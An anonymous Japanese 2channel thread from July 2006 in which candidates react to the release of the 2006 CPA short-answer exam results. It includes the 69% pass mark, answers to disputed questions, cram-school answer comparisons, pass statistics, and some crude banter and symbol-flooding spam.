◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

50 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:34:24 ID:???
弥生ちゃんって京都の先生だよね?

51 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:34:30 ID:???
617 名前:一般に公正妥当と認められた名無しさん[sage] 投稿日:2006/07/05(水) 02:13:30 ID:???
皆が皆、専ブラ持ってるわけでもないからな。
でもこの板ほんとするー出来ないよなw

618 名前:一般に公正妥当と認められた名無しさん[sage] 投稿日:2006/07/05(水) 02:20:12 ID:???
今も何人かいるね。
無駄なんだけどなぁ。
「通報しました」ってみんな書くけど、ホントに通報しろよって思う。
スレチェックしたらハッタリだってバレバレなのに…。

619 名前:一般に公正妥当と認められた名無しさん[sage] 投稿日:2006/07/05(水) 02:26:55 ID:???
バカ活動中に「通報しました」と書くのは素人。

620 名前:一般に公正妥当と認められた名無しさん[sage] 投稿日:2006/07/05(水) 02:28:47 ID:???
>>619 通報しました

621 名前:一般に公正妥当と認められた名無しさん[sage] 投稿日:2006/07/05(水) 02:32:18 ID:???
荒らしとアホな住民しかいなくてワロス

52 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:34:53 ID:???
そういや名古屋は去年万博で行ったな。
おっぱいパブの女が生意気だったという印象しか残ってないけど。

53 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:34:56 ID:???
みんな論文スレいこうぜ!

54 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:35:36 ID:???
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

55 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:35:37 ID:???
>>50
そうだよ。
そういえば、名古屋へも出講してるとかいってたなー。

56 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:36:19 ID:???
愚痴があるなら聞いてやるよ。
今日は2ch会計板の人たちが優しくなれる1年で2日しかないうちの、その1日だ。
言ってみな>嵐さん

57 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:36:34 ID:???
2ちゃんボーダーは 78 で確定

58 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:36:43 ID:???
【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】
.【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】
..【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】
.【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】
【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】
.【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】
..【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】
.【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】
【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】
.【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】
..【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】
.【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】
【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】
.【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】
..【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】
【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】
【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】
.【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】
..【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】
.【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】
【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】
.【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●
..【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】.
.【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】【●】

59 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:37:33 ID:???
>>55
毎週来るよ 俺財表はずっとあの人


60 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:39:04 ID:???
>>59
俺も1年目はあの人のクラスだった。
でも、塩川にかえたよ。
すごく眠くなるから・・・。

61 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:39:27 ID:???
なんか面白くなってきたの俺だけ?
しかし、このスレのみんなはとことんいい奴らだな

62 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:39:30 ID:???
弥生先生また梅田で授業やってほしい。

63 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:39:37 ID:???
● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ●

● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ●
 ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ●
● ● ● ● ■ ■ ■ ■ ■ ■ ● ● ● ● ● ● ● ●
 ● ● ● ● ■ ■ ■ ■ ■ ● ● ● ● ● ● ● ●
● ● ● ● ■ ■ ■ ■ ■ ■ ● ● ● ● ● ● ● ●
 ● ● ● ● ■ ■ ■ ■ ■ ● ● ● ● ● ● ● ●
● ● ● ● ■ ■ ■ ■ ■ ■ ● ● ● ● ● ● ● ●
 ● ● ● ● ■ ■ ■ ■ ■ ● ● ● ● ● ● ● ●
● ● ● ● ■ ■ ■ ■ ■ ■ ● ● ● ● ● ● ● ●
 ● ● ● ● ■ ■ ■ ■ ■ ● ● ● ● ● ● ● ●
● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ●
 ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ●
● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ●
 ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ●
● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ●
 ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ●
● ● ● ● ■ ■ ■ ■ ■ ■ ● ● ● ● ● ● ● ●
 ● ● ● ● ■ ■ ■ ■ ■ ● ● ● ● ● ● ● ●
● ● ● ● ■ ■ ■ ■ ■ ■ ● ● ● ● ● ● ● ●
 ● ● ● ● ■ ■ ■ ■ ■ ● ● ● ● ● ● ● ●
● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ●
 ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ●
● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ●
 ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ●

● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ●

64 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:40:17 ID:???
>>60
確かに眠いかも  あと授業終わりの質問者が多い

65 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:40:39 ID:eQ9dK070
こんばんわー。緊張してきた。眠れない。

66 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:41:33 ID:???
>>64
2年目の最初の授業で
「財表ができるようになるコツは授業を楽しむこと!」っていってた。
じゃー、俺には合わないやと思って先生をかえた。

67 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:42:24 ID:???
弥生ちゃんはずっと凝視したくなるから眠くはならないよ

68 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:42:34 ID:QrXMJVd2
携帯ユーザーにはどれほどの基地っつぁんなのかよく分からん。


69 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:42:47 ID:???
あとみんな名古屋きたら少しJR乗り換えて岐阜まで来てくれると
金津園が楽しいよ  ソフトSM込みのソプでいい店あんだよ


70 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:46:15 ID:???
タックのスレのやつって荒らしかな?

71 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:47:08 ID:???
>>70
TACのスレのやつって?

72 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:50:08 ID:???
バーボンにでも放り込まれたみたいなのでみな49スレに。

73 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:51:32 ID:???
65根拠は短答後からあったよ。
大原座談会が65〜70。
>>同意

wwwwwwwwwww
自演がもう出来ないから嵐か?ww
オレ5年のべテだけど、俺の知る限り以前はこんな真性ゴミが受験生にはいなかった。
こういう嵐受験生が存在してることに会計士受験生のレベル低下を感じる。

74 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:57:48 ID:???
水道橋のスレ

75 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:59:03 ID:???
>>73
おまえ、キチガイ野郎のせいで何ベテ告白してんだよw
まあ49スレに逝こうや

76 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:24:25 ID:???
   ‖                  ||||‖
   ‖                  ■‖
   ‖                  ■‖
   ‖                  ■‖
   ‖                  ■‖
   ‖      ■            ‖
   ‖■  ■■    ■      ‖
   ‖■■■■■■■■■  ‖
   ‖■■■■■■■■■  ‖
   ‖■■■■■■■■■  ‖
   ‖■■■■■■■■■  ‖
     ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
キタ━━━━━━(゚∀゚)━━━━━━!!!!

77 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:28:23 ID:???
こんな忙しいときに郵便局の配達が来たけど、居留守してやった。

78 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:28:50 ID:???
前1000


欲や他ああああああああああああああああああ

79 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:28:58 ID:???
   ‖                   ‖
   ‖                   ‖
   ‖                    ‖
   ‖                ■  ‖
   ‖                ■  ‖
   ‖      ■        ■  ‖
   ‖■  ■■    ■  ■  ‖
   ‖■■■■■■■■■  ‖
   ‖■■■■■■■■■  ‖
   ‖■■■■■■■■■  ‖
   ‖■■■■■■■■■  ‖
     ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄


80 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:29:01 ID:???
age

81 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:29:10 ID:???
5000人かよ!


82 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:29:11 ID:???
>>77
死ねよカス
お前のような奴が居るから
俺ら配達員は苦労するんだ

83 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:29:28 ID:???
あげあげ

84 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:29:36 ID:???
前すれ1000には本当に受かって欲しい

85 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:29:46 ID:JO0QITpM
でてるけど
みれない

86 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:29:47 ID:???
>>82
まて、今は担当が先だ。受かったあとに罵倒すればいいじゃないか

87 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:29:48 ID:???
平成18年公認会計士試験短答式試験の合格点、正解、満点及び配点について
 
 平成18年公認会計士試験短答式試験の合格点、正解、満点及び配点は、下記のとおりです。
 


1.合格点  
総点数の69%以上



88 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:30:20 ID:???
>>87
全角なってますよ。自演乙

89 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:31:01 ID:???
ついにHPキタ━━━━━━(゚∀゚)━━━━━━ !!!!!

90 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:31:03 ID:???
http://www.fsa.go.jp/cpaaob/kouninkaikeishi-shiken/tantougoukaku_b.html

91 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:31:06 ID:???
平成18年7月5日

公認会計士・監査審査会


 
平成18年公認会計士試験短答式試験の合格点、正解、満点及び配点について
 
 平成18年公認会計士試験短答式試験の合格点、正解、満点及び配点は、下記のとおりです。
 


1.合格点  
総点数の69%以上

2.正 解    

 
【財務会計論】   【管理会計論】   【監査論】   【企業法】


92 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:31:06 ID:U2se6i2r
69

93 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:31:26 ID:3Qb+FZjP
大原H澤の予想あたったね。
監査14が2とは・・・。

94 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:31:27 ID:???
おまえらが暴れるから落ちたじゃないかw

95 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:31:31 ID:???
受かってた。

96 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:31:38 ID:???
http://www.fsa.go.jp/cpaaob/kouninkaikeishi-shiken/tantougoukaku_a.html

97 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:32:08 ID:???
また重くなりやがった

98 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:32:10 ID:???
管理3は5か

99 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:32:11 ID:???
頼むから4000人程度にしようぜ・・

100 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:32:14 ID:???
楽勝で受かってた

101 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:32:31 ID:???
LEC一人勝ちか。
TACは大恥かいたな。

102 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:33:05 ID:???
おお監査14の2で1点うpだ

103 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:33:05 ID:???
怖くて見れない。

104 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:33:05 ID:???
短答ってこんな簡単でいいの?

105 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:33:08 ID:???
平澤やるじゃんw

106 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:33:11 ID:???
疑義問正解ください。

107 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:33:23 ID:???
TAC(笑)
TAC企業法(笑)

108 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:33:42 ID:???
まじできたの?

109 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:33:44 ID:???
なに、監査14の2で1点うp、これで87点か。
無駄に短答頑張りすぎて租税が…orz

110 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:33:57 ID:???
疑義問の問題番号くれれば解答うpする

111 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:34:10 ID:???
>>108
着てるけど、重くてみれない

112 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:34:16 ID:???
こんな簡単になるとは
今年からの合格者は業界内での立場が著しく低くなるんだろうなwwww

113 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:34:22 ID:???
TAC講師陣は岡本本を読み直さないと駄目だなw

114 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:34:25 ID:???
うかた

115 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:34:31 ID:???
ちょっwマジ5000人とか増えすぎw

116 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:35:03 ID:???
受かってた・・・・

117 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:35:04 ID:???
疑義問全部 アップしてくれ
監査13、14、19
管理3
財界5

118 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:35:10 ID:???
アカスク生が一言


119 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:35:30 ID:???
まだじゃないか!!

120 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:35:31 ID:???
やった受かった。
三回目にしてやっと担当突破…

121 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:35:34 ID:???
これじゃあ担当合格いばれないじゃんか

122 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:35:51 ID:???
楽勝!!

123 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:36:02 ID:qQO8SkHH
こりゃあ論文も易化すんじゃねーのおおおおおおおおお

124 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:36:13 ID:???
短答で3割、論文で3割、これで合格率10%弱。
こんなもんじゃね?

125 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:36:38 ID:???
騒ぐの飽きたな

126 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:36:41 ID:???
論文は士補入れて9000人くらい受けるのか・・・

127 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:36:41 ID:???
まさか本当に69点とは…

128 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:36:48 ID:???
酷すぎ・・

129 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:36:54 ID:???
論文士補受けるから
最後はいつもどおりよ

130 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:36:55 ID:???
論文2500→1500でよかったよ。
自習室人減らないじゃないか。うぜー

131 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:37:20 ID:???
監査13 3
   14 2
   19 1
管理 3 5
財界5 4

132 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:37:30 ID:???
きてないから!!
いい加減にしろ

133 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:37:41 ID:???
結局論文のきつさは何ら変わらない訳だな

134 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:37:45 ID:???
キタ━━━━━━(゚∀゚)━━━━━━!!!!

135 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:37:51 ID:???
監査
問題13 3
問題14 2
問題19 1

管理
問題3 5

財務
問題5 4

136 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:38:03 ID:???
きてるよ。

http://www.fsa.go.jp/cpaaob/kouninkaikeishi-shiken/tantougoukaku_a.html

ここアクセスしてみ

137 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:38:31 ID:???
問題13 3
やっぱりかよ

138 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:38:34 ID:???
合格点の頁ひらけねぇ

139 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:38:37 ID:???
69点 5000人 なんだこりゃ

140 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:38:40 ID:???
地味に財務で一個ずれてないか?

141 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:38:44 ID:???
>>132

ほんとにキタ━━━━━━(゚∀゚)━━━━━━!!!!               <:::::::`!:ヽ      、 i r        /:レ:-::"レ..、
                !`:::::::::::::::::|  , ..::::':_:::::::_ ̄::`::...、  /::::::::::::::::::::フ
               ,->::::::::::::::::/o ':r " "/ !ヽ `ヽ、::::::ヽ {:::::::::::::::::::::::、フ
    ┏┓    ┏━━┓`-、::::::_;:::,/O:/  _        ヽ::::::.8!.::::::::::::::::::::::' ┏━┓┏━┓
┏━┛┗━┓┃┏┓┃       l::|   _ヽ  、 /_   'i:::::::! ヽ-:;;;::-''"   ┃  ┃┃  ┃
┗━┓┏━┛┃┗┛┃┏━━━ i:| (・ ) ,  ( ・ )  |::::i━━━━┓ ┃  ┃┃  ┃
┏━┛┗━┓┃┏┓┃┃      | } ''_''_     _'' ''  !' Y        ┃ ┃  ┃┃  ┃
┗━┓┏━┛┗┛┃┃┗━━━━`!/`‐'‐`=='‐--'ヽ . , ノ━━━━┛ ┗━┛┗━┛
    ┃┃        ┃┃          ! ! r  ̄ v‐  ̄ ), ノ-、           ┏━┓┏━┓
    ┗┛        ┗┛       /`ヽ=-ニニ-=-"   \       ┗━┛┗━┛
                     ( ,   | Y_-゚-`_Y |     )
                     r=,ヽ-./  r‐`~ヽ__ヽ_ヽ= '_/ 
                     i    , __{、   _    ̄   |
                     ヽ__, -'    ̄ ヽ、_  _/ \
                     /            ̄    ヽ
                     /                  i

142 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:38:53 ID:???
疑義門の正解数トップ予備校どこ?
ボーダー的中予備校どこ?

143 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:39:03 ID:???
自習室はまだ混雑が続く訳か
まあいいやみんな頑張ろうぜ

144 :平澤:2006/07/05(水) 09:39:06 ID:???
本当にTACの講師陣にはこう言いたいです。
「力不足」と。

また、特に管理の講師には
「私の授業を受けて、勉強しなおしなさい」
と言ってやりたいですね。

145 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:39:29 ID:???
>>142
LEC一人勝ちじゃね?

146 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:39:31 ID:???
               <:::::::`!:ヽ      、 i r        /:レ:-::"レ..、
                !`:::::::::::::::::|  , ..::::':_:::::::_ ̄::`::...、  /::::::::::::::::::::フ
               ,->::::::::::::::::/o ':r " "/ !ヽ `ヽ、::::::ヽ {:::::::::::::::::::::::、フ
    ┏┓    ┏━━┓`-、::::::_;:::,/O:/  _        ヽ::::::.8!.::::::::::::::::::::::' ┏━┓┏━┓
┏━┛┗━┓┃┏┓┃       l::|   _ヽ  、 /_   'i:::::::! ヽ-:;;;::-''"   ┃  ┃┃  ┃
┗━┓┏━┛┃┗┛┃┏━━━ i:| (・ ) ,  ( ・ )  |::::i━━━━┓ ┃  ┃┃  ┃
┏━┛┗━┓┃┏┓┃┃      | } ''_''_     _'' ''  !' Y        ┃ ┃  ┃┃  ┃
┗━┓┏━┛┗┛┃┃┗━━━━`!/`‐'‐`=='‐--'ヽ . , ノ━━━━┛ ┗━┛┗━┛
    ┃┃        ┃┃          ! ! r  ̄ v‐  ̄ ), ノ-、           ┏━┓┏━┓
    ┗┛        ┗┛       /`ヽ=-ニニ-=-"   \       ┗━┛┗━┛
                     ( ,   | Y_-゚-`_Y |     )
                     r=,ヽ-./  r‐`~ヽ__ヽ_ヽ= '_/ 
                     i    , __{、   _    ̄   |
                     ヽ__, -'    ̄ ヽ、_  _/ \
                     /            ̄    ヽ
                     /                  i

147 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:39:34 ID:???
予備校完全はずしのサプライズはあった?

148 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:39:43 ID:???

【疑義問まとめ】

       TAC 大原 AXL LEC クレ CPA ICO 受験生  金融庁
監査問13  1   3   3  3  3   3   3   3      3
監査問14  1   1   1  2  1   1   1   1      2
監査問19  1  1or3  3  1  3   1   1   1      1
管理問 3  4   5   5  5  5   5   5   5      5
財務問 5  4   4   4  4  4   4   2   4      4

TACww

149 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:39:52 ID:???
受かってるのになんか急激にやる気がなくなってきた

150 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:40:25 ID:???
うぜえ
つながらん

151 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:40:29 ID:???
友人が1点差で落ちた…。

152 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:40:43 ID:???
しかしレベル低いな

153 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:40:45 ID:???
LECつえー

154 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:40:47 ID:???
6発目のミサイルもキタ━━━━━━(゚∀゚)━━━━━━ !!!!!

155 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:41:16 ID:???
監査問14を当てたLECはすごいな。


156 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:41:23 ID:???
なんか論文も対策無しでいけるような気がしてきた

157 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:41:24 ID:???
去年までの3000人超合格だったとしたら
ボーダーはいくつだったのかね?
やっぱ74くらい?

158 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:41:33 ID:7dhZSno8
 本日、平成18年の公認会計士試験短答式試験の合格発表を行いました。
 合格者の概要は次のとおりです。
願書提出者数
20,796人
(前年の旧第2次試験 15,322人)
短答式試験受験者数
16,210人 
(前年の旧第2次試験 15,284人)
短答式試験合格者数
5,031人
(前年の旧第2次試験  3,510人)
合格率 
31.0 %
(前年の旧第2次試験   23.0%)

159 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:41:45 ID:???
いやびち太郎の方が凄い。
全部疑義当ててるジャン。

160 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:41:46 ID:???
69でギリギリ受かったと思ったら監査14は2かよ…

161 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:41:51 ID:???
去年基準で34.5だろ。
別にそこまで下がってねーよ。

162 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:42:03 ID:???
LECつえーwwwwwwww

